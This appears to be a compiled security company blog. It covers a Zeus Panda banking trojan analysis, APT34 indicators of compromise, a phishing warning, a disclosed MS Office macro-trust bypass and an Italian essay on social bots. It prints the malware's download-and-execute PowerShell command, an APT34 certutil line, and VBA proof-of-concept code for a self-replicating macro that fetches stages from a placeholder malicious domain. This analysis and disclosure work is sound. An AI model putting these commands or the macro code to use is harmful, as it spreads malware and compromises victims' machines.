Panda Banker hits Italy – Analysis Part 2

Overview

In part 1 of this series of blog posts about Zeus Panda, we have analyzed the infection vector of the attack explaining how a simple click on “Enable Content” on a seemingly harmless document will trigger the execution of a malicious VBA macro code and consequently the execution of an obfuscated Powershell script that eventually downloads and launches a .exe that represents the second stage of this attack.

In this second blog post we are going to analyze better what the Powershell script has downloaded by showing a possible way to detonate the malware in a controlled environment and expose its mechanism.

Static Analysis

Before any dynamic analysis or automated sandbox analysis, we usually invest a bit of our time to study the sample statically.
This step is usually worth an analyst’s time since it can give you interesting and useful insight into what you are going to ‘fight’; also, this step allows you to start formulating some hypotheses about the malware behavior, its anti-analysis techniques and many other useful hints that will help during a manual dynamic analysis – if needed.

First things first, let’s drop the executable inside PE-Studio in order to perform an initial malware assessment.

The first information that we can grab here is that this is a 32 bit binary with an old compilation timestamp – probably faked – that tries to disguise itself as a legit product with the description: “Initialized Component Authenticated Pocket Syntactic”.

Detection on VT during the last days of the malware campaign – last analysis at 12-12-2017 – is quite low, this probably means that we are going to fight with a malware that will use some tricks in order to remain under the radar of AV – injection techniques, packing, evasion.

Let’s re-submit the sample on VT and let’s see at the time of writing if something changes…

Good, detection on VT is pretty high now. The signatures seem to agree on the fact that this is a Trojan and in particular Zbot – another alias for Zeus – with a mention to Panda.

File version information reveals a product name “CarpalTelemetry” and an owner Company called “Moo0“. It seems that this company actually exists and develops utilities for Windows. However, this can’t be obviously used as attribution since this could be fake.

Let’s now investigate a bit the structure of the PE, starting from its sections.

We have pretty common sections names here, the only thing that we notice is that the .rsrc section has got an entropy value of nearly 7, this could indicate that there are possibly some encrypted resources, let’s check them indeed.

Our hypothesis was correct, we have 5 resources of type “RPDATA” with an interesting high entropy; These binary blobs could contain anything from configuration files for the malware, to new packed code or any other kind of data. However, let’s forget this for a moment, let’s keep in mind that we expect the malware to access this data sooner or later during the execution.

Then, let’s take a look at the imports of the file.

From the list of imports we can formulate a couple of hypotheses:

  1. LoadLibrary and GetProcAddress make us think that the malware will use dynamic resolution of Windows API in order to hide its real imported functions and therefore its real intentions.
  2. CreateToolhelp32Snapshot and Process32Next make us expect that the malware, sooner or later, will enumerate the processes on the system.
  3.  CreateFileW will be used to drop new files on the infected system
  4.  FindResource, LoadResource and WinAPI related to resources in general strengthen our hypothesis that the malware will sooner or later access the encrypted resources.

Obviously, these are only weak hypotheses, but they can give us a first direction in the next steps of the analysis.

Finally, this binary was compiled in debug mode since we have a string that reveals a .pdb path: “C:\Kennel\Typewriter\sees.pdb“.

Now that we have a couple of base hypotheses about our possible enemy’s behavior, it’s time to actually fight him.

Dynamic Analysis | Sandbox 

An automated analysis of a sample inside a sandbox is usually our first approach to understand the malware activity in a system.
We have analyzed the sample inside our own sandbox, however, you can also find a public report here.

The sandbox report is quite bare, no network activity and from the process tree we can see only an execution of a .bat script.

Our sandbox reports us the contents of this .bat as:

@echo off
:d
del /F /Q “C:\Users\******\AppData\Local\Temp\localappdata.exe”
if exist “C:\Users\******\AppData\Local\Temp\localappdata.exe” goto d
del /F “C:\Users\******\AppData\Local\Temp\upd8ad90570.bat”

Well, it seems that the sample deleted itself after basically doing nothing…this smells of evasion!
There are tons of evasion techniques, anyway as a first insight on what are the techniques implemented here, we can use our hypothesis formulated before and take a look into the created file – it is possible to detect an analysis environment by checking for particular files.

Well, well, we have this strange CreateFileW and when checking online for this path, we discover that these are typical checks leveraged in order to discover sandbox environment, interesting.
Additional interesting information regards checks for the presence of the following mutex objects:

It seems that our malware doesn’t want to see Sandboxie and Deep Freeze on the victim machine.

With this new information, it’s time to drop the sample inside a debugger and try to bypass all these evasion techniques to finally reach our goal: seeing the real face of our enemy!

Dynamic Analysis | Debugger

We are going to use x32dbg inside our own VM for malware analysis. Remember to snapshot the VM before any activity and then let’s open the sample and stop the execution at the EntryPoint.

We are going to put breakpoints on the CreateFileW and CreateFileA, then let’s run the sample with F9 until we can see that we are trying to access one of the files we have identified before.

Here we are, the malware checks if popupkiller.exe is inside the system by trying to open it with the CreateFileW functions. Since we have no such file inside our VM this is going to fail, but let’s run it until it returns from this call and let’s see where we are.

The code is really explicit here, it is going to check if the previous CreateFile fails or not and, if it fails, it is going to check the LastError value and expect to see an ERROR_FILE_NOT_FOUND ( 0x2 ) or an ERROR_PATH_NOT_FOUND ( 0x3 ). If the error is not the one expected or the open didn’t fail, it is going to set the bl register to 0x1 and return. This latter variable is used in order to signal the fact that the execution must be terminated since an analyst environment has been detected.

Given that, let’s continue the execution and let’s see if any of these file checks will trigger any of the conditions that the malware expects in order to evade the analysis.

Ah! The check for this file (probably related to the presence of Wireshark on the machine) triggers an ERROR_SEEK that the malware didn’t expect in its checks and this is one of the causes of the termination of the program. We are going to step the code and patch the bl register with 0x0 when it will be set to 0x1 in order to bypass this.

Now, since we don’t know what’s next, let’s put a couple of breakpoints on these functions:

  • CreateToolhelp32Snapshot
  • Process32Next
  • CreateProcess

The first two breaks are justified since we made the hypothesis about process enumeration, the last one is a safe assumption that sooner or later the malware will spawn a new process.

After a hit on CreateToolhelp32Snapshot, if we continue the execution we hit Process32Next. Here the code grabs the name of the process and eventually execute a StrStrI in order to check the name of the process with – in this case – “Wireshark”.

This procedure is repeated for all the processes in the blacklist of the malware:

  • wireshark
  • immunity
  • processhacker
  • processexplorer
  • procmon
  • idaq
  • regshot
  • aut2.exe
  • perl
  • python

We have no process active right now with any of these names, so we can disable breaks on CreateToolhelp32Snapshot/Process32Next and resume execution with F9.

Continuing the execution we hit CreateFile a couple of times again. The malware checks for the presence of these device names related to RegMon:

  • “\\.\REGVXG”
  • “\\\\.\\REGSYS”

Checks related to FileMon:

  • “\\\\.\\FILEVXG”
  •  “\\.\FILEM”

And finally for a device name related to a debugger included in Windows 9x-based platforms

  • “\\.\TRW”

After these checks, the malware drops 4 new files in a subfolder picked from C:\Users\%USER%\AppData\Roaming\, in this run the picked folder is C:\Users\%USER%\AppData\Roaming\Notepad++\plugins\config\ and the 4 files are:

  • data_3.ipo
  • data_3.qiv
  • data_2.ihi
  • Obsidian.exe

The name of these files and the folder picked up are randomly generated and selected with an internal algorithm not documented here.
We expect that sooner or later something will be written inside these files, so let’s put a breakpoint on the function WriteFile and let’s continue the execution.

Bam! Hit the break on the WriteFile, let’s analyze the parameters of this WinApi and let’s see what we are writing inside it.
According to msdn, WriteFile has the following prototype:

BOOL WINAPI WriteFile(
_In_ HANDLE hFile,
_In_ LPCVOID lpBuffer,
_In_ DWORD nNumberOfBytesToWrite,
_Out_opt_ LPDWORD lpNumberOfBytesWritten,
_Inout_opt_ LPOVERLAPPED lpOverlapped
);

dumping the input parameters from the stack we have:

  • hFile: 0x1cc
  •  lpBuffer: 0x390000
  •  nNumberOfBytesToWrite: 0x3f600 ( 259584 bytes )

So we are writing bytes from 0x390000 to 0x3CF600 inside that file.
Following the address in the memory dump, we can see, unsurprisingly, an MZ header and so a full PE file following.

Let’s dump these bytes with the command:

savedata “C:\Users\%USER%\Desktop\dump.exe”,0x390000,0x3f600

finally, let’s open the file with CFFexplorer:

MD5 is identical to the original dropped file, it seems that this was merely an attempt to copy the original file inside the path picked up initially.
Let’s continue the execution.

After some other hits on CreateFile – used in order to check if everything has been set up correctly – the malware calls a CreateProcess with the Obsidian.exe as target.

Finally, two new svchost.exe processes show up, it seems that we have arrived at the final payload! – data_2.exe is the same as obsidian.exe, the name of this copy is random and changes from execution to execution.

We are pretty sure that some kind of injection techniques has been used here in order to have a seemingly legit process called “svchost.exe” executing malware payload instead.
But wait, aren’t we missing something? If the PE launched is exactly the same as before, why the malware changes behavior dynamically? How does it know that it has already made the evasion checks and the initial setup?

Let’s check the two ProcMon traces side by side. The trick that we usually do here is to start from the bottom of the trace and scroll up until the traces are identical, the reason of the divergence should lay more or less there ( don’t get confused, config.exe is always obsidian.exe, but as said before it has another name because it is a different execution )

Ah! It seems that the malware decides to start or not the evasion routine based on that IRP_MJ_QUERY_EA – you can see that in the trace of the original file this query fails and so the malware starts the evasion routine with the checks presented before- but what exactly does this query mean?
Let’s investigate the event a bit:

So this event has been generated by a call to ZwQueryEaFile.
According to MSDN, this API “returns information about extended-attribute (EA) values for a file”.
These are not exactly ADS, tools like AlternateStreamView don’t find anything indeed.

In order to see this attributes, we are going to use EAQuery64:

Bingo, we can see that the newly-copied PE has indeed an EA attribute called “DATA”, while the originally dropped malware has none. In particular, this seems an encrypted binary blob – entropy is indeed quite high:

So, this seems to be the mechanism that our bad guys are using in order to understand whether they need to activate the evasion routines, or whether they have already set up the environment and they have to trigger the machine infection.
We can indeed see the call to NtSetEaFile after the copy of the malware has been created inside the random folder picked up during startup:

This post ends here, in the next one we are going to analyze this new stage of the malware, what process injection techniques are used in order to make the two svchost processes execute malicious code and eventually we are going to do a brief description of the malicious activities that this malware can do on the victim’s machine.

Stay tuned and stay safe.

Panda Banker hits Italy – Analysis Part 1

Overview

During the analysis of network traffic collected inside the network of one of our customers by our system “Cyber Alastair sensor”, we have identified an HTTP request to a domain that immediately triggers our attention: h7de6mkn678k.tk
Further threat intelligence investigations reveal that this domain is strictly related to the infamous Zeus Panda banking malware that hit Italy in the last few months, as reported also by malwaretraffic back in November.

Zeus Panda is a particularly nasty piece of software, derived from the infamous Zeus trojan, that hit the news several times this year, as reported also by the guys at phishme.com, since it provides threat actors with a lot of different ways to monetize infected hosts: from banks credentials stealing to keylogging and SOCKS proxy capabilities.

In this series of blog posts we are going to analyze the malware infection in all its stages – from the infection vector to the dissection of the final payload – in order to understand the techniques used to remain a persistent threat inside the system, the methods exploited in order to exfiltrate information from the infected machine, the evasion techniques leveraged by the malware to hinder its analysis, and eventually all the IOC useful to expose such kind of infections inside your network.

Infection Vector

The infection vector used to deliver this threat is the old school Microsoft Office document containing an embedded VBA macro.
The document arrived attached to a phishing e-mail that tried to persuade the victim to think that there are some kind of debts to pay and they need to be set up urgently, this simple trick is often – unfortunately – enough to exploit the panic/curiosity of the receiver and led him/her to open the document.

Once the document has been opened we can see this:

The only thing that separates us from the infection is the click on that button “Enable Content” since VBA macros are not executed automatically by default. Obviously, the document tries to persuade us to click on it by presenting a kind of partial document. This is not one of the most complex
phishing techniques that we have seen used to fool the victim to enable the macro code but, hey, it works.

So, long story short: if the victim finally decides that the hidden contents inside the document is worth his/her click on “Enable Content”, the embedded VBA macro code is eventually executed and the show begins.

Infection Analysis

We can inspect the content of the VBA macro code both statically with tools like oletool, or dynamically by actually executing the macro inside the VBA interpreter embedded in Microsoft Office Excel. The latter technique is the one we are going to use here. Let’s disable the network inside our virtual machine – we don’t want to actually download the other stage of the malware now, but only analyze the macro code – then let’s click on “Enable Content” and finally let’s open the VBA Macro by navigating to View -> Macro -> View Macros -> Edit.

The function Workbook_Open() will execute when the Microsoft Excel document opens, executing through the command ‘Shell’ the string returned from the function ‘hawaiii’ that composes the final string leveraging all the other functions. This kind of simple obfuscation techniques are used in order to bypass automatic analysis systems and possibly AV signature, avoiding to hardcode the malicious command in the macro code but rather composing it with clever tricks. However, in this particular case, we have really basic and simple obfuscation techniques to protect the malicious command so we won’t waste our time analyzing them but rather we will skip all this mess by using a simple and neat dodge to dump the command executed.

We are going to supersede the ‘Shell’ command with a strategic ‘Debug.Print’ in order to dump the content of the string in our debug console, then we execute the macro to finally have our malicious command.

We have a slightly obfuscated Powershell command here:

poweRSheLL -NoniNTeRaCtivE -NoPr -exeCuTi ByPASS -WinDO hIDDen “do{sleep 15;(.(\”{2}{0}{1}\” -f’-o’,’bject’,’new’) (\”{1}{3}{5}{0}{2}{4}\” -f’t’,’syst’,’.webclie’,’em’,’nt’,’.ne’)).(‘d’+’ow’+’nloadfil’+’e’).Invoke(‘https://h7de6mkn678k.tk/trasmetto’,’%localappdata%.exe’)}while(!$?);&(\”{0}{2}{1}\”-f’star’,’ss’,’t-proce’) ‘%localappdata%.exe'”

Ah! Here we can see exactly the domain we saw inside our customer’s network.
The Powershell command sleeps for 15 seconds – yet another technique used to try to timeout and bypass security products – and then uses a simple string composition technique to create the final command that will download a file from https://h7de6mkn678k.tk/trasmetto, save it to %localappdata%” – that is actually an alias for “%USERPROFILE%\AppData\Local – and eventually execute it.

At the time of writing the C&C at https://h7de6mkn678k.tk/trasmetto doesn’t serve anymore the second stage, however, we can recover it thanks to a not so old analysis of our document at hybrid-analysis.

From the process tree, we can see our Powershell command and the execution of the downloaded .exe.

Expanding the window we can retrieve the hash of the downloaded .exe: MD5,7d898b1260c0ea760c1de7d586cf8527
We can search it on VirusTotal, hoping that somebody uploaded it recently.

Bingo.

This post ends here, in the next one we are going to analyze the second stage of the infection.

Stay tuned and stay safe.

IOC

Document MD5 6F80250650199B6BF26E9C8022EEB09A
Document Name vat.425_info.eu.xls
Domain contacted h7de6mkn678k.tk
HTTP Request https://h7de6mkn678k.tk/trasmetto
Dropped .exe MD5 7D898B1260C0EA760C1DE7D586CF8527

 

 

APT34 – Cyber Espionage Group

FireEye ha recentemente tracciato i movimenti di un gruppo di Cyber Espionage Iraniano, a cui è stato assegnato il nome di APT 34.

Il gruppo, attivo dal 2014, sfrutta Backdoor in Powershell come principale strumento offensivo. Da diversi anni, tramite attacchi di Spear Phishing e l’utilizzo di utenze compromesse, colpisce realtà di diversi settori quali enti governativi e finanziari oltre che industrie e telecomunicazioni.

Nella più recente campagna Malware gli attaccanti sfruttano la vulnerabilità CVE-2017-11882 di Microsoft Office per eseguire codice arbitrario sui sistemi vulnerabili.

Ad oggi, 11/12/2017, i server di Malware Staging e C2 risultano attivi nella distribuzione dei file malevoli sotto elencati, indicando quindi la possibilità che queste campagne siano tuttora in corso.

Di seguito i Network IOC per individuare eventuali attacchi alla propria infrastruttura legati all’ultima campagna Malware di APT34.

Network IOCs:

Domain / IP Address Description
hxxp://media-center[.]fun Malware Staging Server (InTheCyber)
hpserver[.]online C2
anyportals[.]com C2
proxycheker[.]pro C2
hxxp://mumbai-m[.]site POWRUNER C2
hxxp://dns-update[.]club Malware Staging Server
94.23.172.164:80 Malware Staging Server
46.105.221.247 Has resolved mumbai-m[.]site & hpserver[.]online
148.251.55.110 Has resolved mumbai-m[.]site and dns-update[.]club
185.15.247.147 Has resolved dns-update[.]club
145.239.33.100 Has resolved dns-update[.]club
82.102.14.219 Has resolved ns2.dns-update[.]club & hpserver[.]online & anyportals[.]com

Overview tecnica:

La prima infezione avviene tramite l’apertura del documento con estensione “.rtf” contenente l’exploit dell’ultima vulnerabilità di Microsoft Office identificata dal CVE 2017-11882. Tale vulnerabilità risiede nella componente utilizzata per l’inserimento e la valutazione delle formule matematiche, Equation Editor (EQNEDT32.EXE).

Ulteriori informazioni: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882

 

Dopo l’esecuzione del codice, viene richiamato il processo “mshta.exe” che , a sua volta, effettua il download ed esegue gli script malevoli ottenuti dal sito internet  “hxxp://mumbai-m[.]site/b.txt”.

POWRUNER Attack Sequence

Lo script “b.txt” contiene comandi PowerShell per scaricare da “hxxp://dns-update[.]club/v.txt” un ulteriore script che viene rinominato da “v.txt” a “v.vbs”.

A questo punto, lo script “v.vbs” inserisce nella directory “C:\ProgramData\Windows\Microsoft\java\” 4 componenti (hUpdateCheckers.base, dUpdateCheckers.base, cUpdateCheckers.bat, and GoogleUpdateschecker.vbs).

Sfruttando il tool di Microsft “CertUtil.exe”, “v.vbs” decodifica le componenti precedenti droppando gli script “hUpdateCheckers.ps1” e “dUpdateCheckers.ps1”

oShell.run "cmd.exe /C certutil -f  -decode C:\ProgramData\Windows\Microsoft\java\dUpdateCheckers.base C:\ProgramData\Windows\Microsoft\java\dUpdateCheckers.ps1", 0,false

Per ottenere la persistenza sul sistema coinvolto, viene creato uno Scheduled Task per “GoogleUpdateschecker.vbs“, richiamato ogni 60 secondi e che sfrutta i file “dUpdateCheckers.ps1” e “hUpdateCheckers.ps1” per le funzionalità di controllo remoto (sfruttando anche un DGA per comunicare con i server di Comando e Controllo).

InTheCyber Analysis:

Grazie alla condivisione delle informazioni di FireEye, InTheCyber ha avviato analisi e controlli sulle infrastrutture Difese e sui sistemi degli attaccanti.

E’ stato possibile individuare ulteriori script PowerShell da cui è stato estratto un ulteriore dominio malevolo utilizzato nelle fasi di Staging dell’infezione (hxxp://media-center[.]fun).

Le analisi sono tutt’ora in corso con particolare attenzione a possibili attacchi ad infrastrutture Italiane.

 

New Threat – Business E-Mail Compromise

Durante l’attività di ricerca e di Incident Response, il CyberSecurity Center di InTheCyber ha evidenziato un aumento degli attacchi di tipo “Business E-Mail Compromise” (o “truffa del CEO”) in cui i truffatori, dopo aver sottratto le credenziali di posta tramite attacchi Phishing, inviano richieste di modifica delle coordinate bancarie ai clienti o fornitori dell’azienda coinvolta, tentando di dirottare somme di denaro su conti correnti esteri.

InTheCyber ha tracciato i movimenti di un gruppo criminale che ha preso di mira diverse società, in particolare aziende in Europa e Cina.

Modus Operandi:

Il gruppo invia e-mail di Phishing da un indirizzo IP in Georgia, falsificando il Mittente, con allegati  rinominati:

  • %Random%.pdf.html
  • %Random%.xlsx.htm

Indicatori di Compromissione (IOC):
Le credenziali così catturate, vengono inviate ad una pagina “.php” ospitata sul sito internet:

  • microsoftexcelsyn . 000webhostapp . com

Warning: L’accesso al dominio dimostra la probabile compromissione dell’utenza

 

ITC consiglia :

  • controllare accessi al sito internet “microsoftexcelsyn…”

 Se positivo:

  • resettare la password di accesso alla casella Mail degli utenti coinvolti
  • individuare la Mail e l’allegato malevolo
  • bonificare la postazione coinvolta
  • contattare i clienti/fornitori esposti per aumentare awareness

InTheCyber attualmente sta collaborando con gli enti preposti.

Per eventuale supporto è possibile contattare: blueteam[at]inthecyber.com

MS Office Security protection bypass allows the creation of “Self-replicating Macro-based Malwares”

Brief history

After the proliferation of infamous Macro Viruses (e.g. Melissa), more than a decade ago Microsoft implemented a security protection that should have blocked the possibility to create again self-replicating code called “Trust access to the VBA project object model”.

In fact, according to the explanation available at the URL: https://technet.microsoft.com/en-us/security/cc165610.aspx, “Trust access to the VBA project object model , disallow or allow programmatic access to the Visual Basic for Applications (VBA) object model from an automation client. This security option is for code written to automate an Office program and manipulate the VBA environment and object model. It is a per-user and per-application setting, and denies access by default, hindering unauthorized programs from building harmful self-replicating code. For automation clients to access the VBA object model, the user running the code must grant access. To turn on access, select the check box.”

Findings: Ability to bypass the limit to create self-replication macro code

We found that it is possible to create a macro that enables the “Trust access to the VBA project object model” flag. It will then be possible to create self-replicating code, obtaining a new and working version of the infamous Melissa Macro Virus.

Substantially, it looks like Macros were put in a cage, locked down, but the key was forgotten inside the cage.

Technical description

Once “Trust access to the VBA project object model” flag is checked, the registry key named “AccessVBOM” available inside “HKCU:\Software\Microsoft\Office\<<version>>\Word\Security”, will be set to “1”.

Powershell to the rescue!

The following simple snippet of VBA macro code changes the value of the registry, allowing to create self-replicating code:

Dim enableTrust As Variant

Trust = “powershell Set-ItemProperty -Path “”HKCU:\Software\Microsoft\Office\15.0\Word\Security”” -Name AccessVBOM -Value 1″

enableTrust = Shell(Trust, 0)

The change has effect only after the restart of the Word process, however this is not a big deal. It was possible to create a 2-stage attack that can exploit this vulnerability in order to create a self-replicating Macro Virus:

First stage code

‘download of the second stage (a malicious normal.dotm)

Dim ExecDown As Variant

Dim Download As String

Set oShell = CreateObject(“WScript.Shell”)

strHomeFolder = oShell.ExpandEnvironmentStrings(“%APPDATA%”)

FileName = strHomeFolder & “\Microsoft\Templates\Normal.dotm”

FileName2 = strHomeFolder & “\Microsoft\Templates\Normal2.dotm”

Download = “powershell Invoke-WebRequest -Uri “”http://<<malicious-domain>>/stage2″” -OutFile ” & FileName2

ExecDown = Shell(Download, 0)

‘scheduling of a task that substitute original normal.dotm file with the malicious one

Ora_X = TimeValue(“” & Hour(Now) & “:” & Minute(Now) + 1 & “:” & Second(Now))

PKill = “Schtasks /Create /SC ONCE /ST ” & Ora_X & ” /TN “”PKillTask”” /TR “”taskkill /f /t /im winword.exe”” /F”

Ora_Y = TimeValue(“” & Hour(Now) & “:” & Minute(Now) + 2 & “:” & Second(Now))

ExecPKill = Shell(PKill, 0)

Substitution = “SchTasks /Create /SC ONCE /ST ” & Ora_Y & ” /TN “”SubstitutionTask”” /TR “”cmd /c copy ” & FileName2 & ” ” & FileName & ” /Y”” /F”

ExecSub = Shell(Substitution, 0)

Second stage (normal.dotm) code

‘download of the first stage

Set oShell = CreateObject(“WScript.Shell”)

strHomeFolder = oShell.ExpandEnvironmentStrings(“%APPDATA%”)

moduleName = strHomeFolder & “\Microsoft\Templates\stage1.bas”

Download = “powershell Invoke-WebRequest -Uri “”http://<<malicious-domain>>/stage1″” -OutFile ” & moduleName

ExecDown = Shell(Download, 0)

‘importing and saving the malicious code inside the active document

Dim thisTarget As Document

Dim thisName As String

Set thisTarget = ActiveDocument

thisName = thisTarget.FullName

thisTarget.SaveAs2 newName & “.doc”, _

FileFormat:=wdFormatXMLDocumentMacroEnabled

thisTarget.VBProject.VBComponents.Import moduleName

ActiveDocument.Save

Attack scenario

It is possible to weaponize the code above to create, for example, a targeted “clock bomb” that encrypts all affected system files for ransom purposes. In order to be effective, it is sufficient to lure a company’s employee to execute the macro of a first malicious document to trigger a vicious cycle in which any document sent by him/her (that will become a trusted source for other company’s employees and also for employees of any business partner or supplier) becomes the attack vector. Of course, any new victim becomes the new infection-spreader.

A video of a working Proof of Concept of a self-replicating Macro-based Ransomware we created in just a few days of work will be presented by me during the 8° Italian national conference on Cyber warfare.

Possible mitigation

Technically speaking, in order to (partially) mitigate the vulnerability the suggestion I gave to MS is to move the AccessVBOM registry key from the HKCU hive to the HKLM, making it editable only by the system administrator.

However, it looks like no patch will be delivered by MS (set out below is the responsible disclosure chronicle to MSRC Microsoft Security Response Center).
That means that the only real protection is, as usual, your paranoia level: don’t enable Macros if you are not pretty sure they are legitimate, even if the documents are coming from trusted sources. Verifying the identity of the sender and that the visible content is what you were expecting to receive is no longer enough, because the sender could be involved in spreading malicious documents without being aware of it.

Responsible disclosure chronicles

  • First contact with Microsoft Security Response Center (MSRC): 10/16
  • Sent report & a video PoC to MSRC: 10/17
  • Confirmation of the opening of a ticket for the investigation on the finding from MSRC: 10/17
  • Message informing MSRC closed the investigation: 11/01

 

Here the message coming from the MSRC:
“Hi Lino,

We have completed our investigation and found that this doesn’t appear to be a security vulnerability issue as it’s how it works by design. We anticipate no further action on this item from MSRC and will be closing out the case.”

TrendMicro discovery

According to their post, TrendMicro recently identified Self-Replicating, Document-Encrypting Ransomware called “qkG Filecoder”, probably originating from Vietnamese crooks.

That means the vulnerability we reported to MS and that they refused to accept, could have already become a threat “in the wild” or it may become a threat soon. Hope MS will think about it.

Author:
Lino Antonio Buono
Technical Department Coordinator & Head of R&D Labs

Social Bots

L’attacco hacker al Democratic National Committee, le mail rubate al responsabile della campagna elettorale di Hillary Clinton, il leak di informazioni riservate su Macron. Si tratta di questioni  largamente riprese e diffuse dai media, la cui portata e importanza all’interno della vita politica di uno Stato sta diventando sempre più evidente anche ai non addetti ai lavori.

Essendo state chiaramente programmate ed eseguite secondo determinate tempistiche che consentissero di ottenere il massimo risultato (particolarmente evidente nel caso di Macron), è utile cercare di capire i meccanismi e le strategie messe in atto per portare a termine queste operazioni, inscrivibili in una più ampia dinamica di information warfare.

 

Il meccanismo di funzionamento del fenomeno può essere esemplificato prendendo in prestito il triangolo del fuoco:

  • Le fake news fungono da combustibile, sono ciò che viene infiammato dall’innesco e alimentato dal comburente. In quando combustibile, è sempre presente e ampiamente disponibile. Rimane relativamente “inerte” se non infiammato da un evento specifico (ad esempio un leak).
  • La scintilla che innesca la reazione è l’evento specifico che, come risultato di un attacco informatico, di una fuga di notizie o altro, infiamma la base di fake news.
  • I SocialBots agiscono da comburente, facilitando e alimentando la reazione.

In aggiunta possiamo considerare il sito Wikileaks come la sede in cui le scintille vengono prodotte e in cui mostrano di avere l’efficacia maggiore (pensiamo alla carbonella);

Il braciere in cui questa reazione chimica metaforica ha luogo è costituito dai social network.

 

Ma facciamo ora un esempio concreto, che mostri come questo schema interpretativo si adatti alla realtà degli eventi.

Durante la campagna elettorale per le elezioni presidenziali americane del 2016, la quantità di fake news circolanti su internet e, in particolare, sui social ha raggiunto picchi mai visti prima: secondo i dati raccolti dai ricercatori dell’Oxford Internet Institute, la percentuale di news riconducibili ai media tradizionali o a esperti pubblicamente riconosciuti come tali che sono state condivise durante la campagna elettorale non supera il 26%. Ciò significa che tre quarti di tutto ciò che veniva condiviso sull’argomento si posiziona in un qualche punto dello spettro delle fake news (dal momento che, nella stragrande maggioranza dei casi, un ragionamento dicotomico verità assoluta contro falsità assoluta non è applicabile).

Su questa base di fake news già molto estesa, si è innestato il caso dell’attacco hacker al Democratic National Committee e di quello al responsabile della campagna elettorale di Hillary Clinton, John Podesta. Le informazioni ottenute sono poi state pubblicate dal sito Wikileaks e conseguentemente diffuse in tutto il mondo.

Le fake news che circolavano fino a quel momento erano relativamente “inerti” nel senso che rimanevano all’interno delle cosiddette “information bubbles”  ed erano quindi più atte a rinforzare convinzioni preesistenti che a far cambiare nella pratica le intenzioni di voto.

Ciò che ha fatto sì che l‘information warfare in atto facesse un deciso salto in avanti qualitativo è il leak di dati che, in quanto appunto “leak” di informazioni in precedenza riservate o comunque private, ha una potenzialità di gran lunga maggiore di condizionare efficacemente l’opinione pubblica. Wikileaks ha contribuito a renderlo possibile, grazie alla propria reputazione guadagnata in seguito ai precedenti episodi di fughe di informazioni (che sono poi state confermate).

Tuttavia, l’elemento mancante è quello che ha permesso al fuoco acceso dalla scintilla sul combustibile di continuare ad ardere (e di provocare danni). Il comburente è costituito dai Social bot, che hanno agito dal punto di vista quantitativo amplificando esponenzialmente la diffusione dei contenuti e (probabilmente) l’hanno resa anche più longeva.

 

Ma cosa sono i social bot?

Come si può intuire, i social bot sono dei bot (qualsiasi software in grado di automatizzare delle azioni normalmente compiute da utenti umani) che vengono programmati per agire sui social network. Ne esistono moltissimi tipi diversi, che è possibile raggruppare in tre macro categorie in base alla funzione specifica per cui sono stati creati:

  • Spambots (spammano contenuto vario);
  • Paybots (pagati per portare traffico, spesso copiano tweet aggiungendo una short-URL che non c’entra con il contenuto e rimanda al sito pagante);
  • Influence bots (influenzano le conversazioni relative a un determinato argomento, gonfiano campagne marketing o hashtag per motivi che possono andare dalla semplice promozione alla propaganda politica):
    • Semplici: mettono like e retwittano tutto quello che proviene da un determinato account o che contiene un certo hashtag o parola chiave;
    • Complessi: creano tweet ex novo (spesso copiando altri tweet o generandoli, associandoli a immagini, oppure cyborg bots, cioè parzialmente gestiti in maniera manuale).

 

Grazie all’intervento dei social bot (influence bot) è possibile condizionare la conversazione online relativa a un determinato argomento in vari modi. L‘influence bot semplice provvederà a inondare il social network di turno con messaggi di propaganda più o meno velata, fake news e leak di informazioni allo scopo di creare scandalo tra le fila della fazione opposta e/o di gonfiare la percezione del supporto per una determinata causa o partito. L‘influence bot complesso, invece, agisce in maniera più subdola imitando in tutto e per tutto un utente umano e portando gli utenti reali a credere di discutere con una persona in carne ed ossa.

 

 

Com’è possibile che funzionino così bene? Quali meccanismi psicologici sfruttano per ottenere i loro scopi?

I social bot sfruttano alcuni dei meccanismi psicologici umani su cui fa perno anche il marketing, comprensibilmente, perché come quest’ultimo mirano a provocare un’azione o una reazione. In particolare:

  • L’effetto bandwagon, detto anche effetto carrozzone o istinto del gregge, che altro non è che la tendenza a seguire la folla, tanto nelle azioni, quanto nelle opinioni. L’efficacia di questo meccanismo mentale è stata quantificata matematicamente dai ricercatori dell’università di Ben Gurion, studio che potrebbe essere sviluppato per stabilire la quantità di bot necessari per innescarlo.
  • L’azione dei social bot si avvale anche del effetto persuasivo dell’autorità, soprattutto nel caso degli influence bot complessi che spesso si fingono persone esperte nel settore in cui mettono in atto la propria strategia, ma anche di quelli semplici per una questione di coerenza e di costanza: se X parla sempre e solo di Y, sarà un esperto.
  • L’effetto della scarsità, mutuato anch’esso dal marketing e dalle ben note “promozioni, solo per oggi”, si traduce in espressioni come “condividi prima che censurino” e spesso spinge gli utenti a diffondere notizie in maniera compulsiva e acritica.

 

Dimostrare che le fake news sono effettivamente “fake” non è sufficiente ad arginare il problema, per una serie di motivi.

Il tentativo di portare fatti e dati a smentita della fake news, può scatenare quello che viene chiamato “backfire effect” e che, in sostanza, consiste nell’ottenere la reazione opposta a quella a cui si mirava: una persona convinta della veridicità di una fake news, può interpretare l’impegno di smentirla come un tentativo di insabbiare la verità, con il risultato di rafforzare ancora di più le proprie convinzioni in proposito.

Ad ulteriore ostacolo alla verità troviamo la sindrome del complotto universale, che porta chi già crede in un particolare complotto ad essere molto incline a credere anche agli altri o a tutto ciò che ha anche solo la parvenza di complotto, persino se questo significa entrare in contraddizione. Sembra che questa “sindrome” sia dovuta alle motivazioni psicologiche che portano a credere al concetto stesso di complotto.

E infine, è molto comune leggere o sentire chi, di persona o su internet, tende a sopravvalutare le proprie conoscenze e capacità. Si chiama effetto Dunning-Krueger e rientra nel nostro ragionamento perché chi si sopravvaluta farà un’immensa fatica ad accettare di essersi sbagliato in merito a una notizia o a un fatto e continuerà a pensare che, sotto sotto, ci sia qualcosa che viene volutamente tenuto nascosto ma che loro hanno “percepito”.

 

Indipendentemente da quale sia l’opinione in merito alla sottile linea di confine tra il proteggere chi ne ha effettivo bisogno e il tenere sotto una campana di vetro chi farebbe bene a leggere di più e scrivere di meno, qualcosa va fatto. Se non per l’indipendenza intellettuale e culturale degli italiani, almeno per tentare di mitigare il rischio che soggetti nazionali o esteri sfruttino questi meccanismi per influenzare le abitudini di voto, inficiando la neutralità del nostro processo democratico.

 

